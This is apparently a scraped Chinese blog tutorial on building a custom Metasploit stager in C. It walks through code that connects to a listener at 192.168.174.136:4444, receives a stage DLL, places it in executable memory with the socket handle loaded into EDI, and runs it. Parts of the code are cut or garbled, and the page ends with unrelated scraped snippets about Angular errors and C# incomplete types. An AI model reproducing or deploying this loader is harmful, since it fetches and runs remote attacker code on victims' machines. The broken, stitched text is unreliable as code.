msf stagers開發不完全指北 一

2022-02-23 17:56:18 字數 2424 閱讀 3073

上面我們給出的文章講到關於第一階段與第二階段的互動原理

上面的流程說的已經比較明白了(此篇文章裡我將採用 metasploit-loader 作為**講解):

向 msf 監聽位址發起 tcp 請求

獲取 stages

將 socket fd 放入暫存器 edi

從起始位址開始執行 stages

先貼**

首先我們需要建立乙個socket連線

/* 錯誤處理 */

void punt(socket my_socket, char * error)

...wsadata wsadata;

word wversionrequested;

wversionrequested = makeword(2, 2);

if (wsastartup(wversionrequested, &wsadata) < 0)

struct hostent * target;

struct sockaddr_in sock;

socket my_socket;

char* targetip = "192.168.174.136"

int port = 4444

/* 建立socket */

my_socket = socket(af_inet, sock_stream, 0);

if (my_socket == invalid_socket)

punt(my_socket, "could not initialize socket");

/* 解析targetip*/

target = gethostbyname(targetip);

if (target == null)

punt(my_socket, "could not resolve target");

/* 準備tcp連線相關資訊 */

memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);

sock.sin_family = af_inet;

sock.sin_port = htons(port);

/* 連線 */

if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )

punt(my_socket, "could not connect to target");

這部分**就是和我們的 msf 監聽位址建立 socket 連線

接下來關於stages有點需要說明的。

stages結構:

那麼我們按照這個方式去讀

int count = recv(my_socket, (char *)&size, 4, 0);

if (count != 4 || size <= 0)

punt(my_socket, "read a strange or incomplete length value\n");

讀出後面的 dll 資料報長度

然後我們開始讀取 dll

/* 接收指定長度的資料 */

int recv_all(socket my_socket, void * buffer, int len)

return tret;

}buffer = virtualalloc(0, size + 5, mem_commit, page_execute_readwrite);

if (buffer == null)

punt(my_socket, "could not allocate buffer\n");

/* 把 socket fd 放入 edi 暫存器,注意這裡的 socket 控制代碼需要取到控制代碼指向的那個資料,而不是控制代碼指標

bf 78 56 34 12 => mov edi, 0x12345678 */

buffer[0] = 0xbf;

/* 構造上面的機器碼 */

memcpy(buffer + 1, &my_socket, 4);

/* 把讀取出來的資料放到 buffer 後面 */

count = recv_all(my_socket, buffer + 5, size);

現在我們只需要像之前執行 shellcode 那樣執行即可

/* 把buffer強轉為乙個函式去呼叫 */

function = (void (*)())buffer;

function();

然後把這些**組合起來進行編譯

編譯需要注意的點是:payload必須對應

比如32位的payload必須編譯為32位的,相應的64位必須編譯為64位

ngular6開發不完全筆記(三) 報錯指南

routeruncaught error template parse errors router outlet is not a known element if router outlet is an angular component,then verify that it is part o...

不完全型別

c 允許在乙個 檔案中存放多個類,但這樣往往不便於類的管理,所以一向是提倡乙個檔案中只存放乙個類。不過呢,隨著類規模的不斷膨脹,乙個檔案中存放乙個類也有些顯得臃腫,或者是在某個角度上不便於 的組織。因此,c 2.0中引入了不完全型別的概念,即啟用了新的修飾符partial。借助該修飾符,我們可以在多...

不完全型別

不完全型別指 函式之外 型別的大小不能被確定的型別 總結一下,c的型別分為 結構體的宣告就是乙個不完全型別的典型例子。struct woman tag struct man tag struct woman tag 這樣是沒問題的。如果將man tag結構中的struct woman tag wif...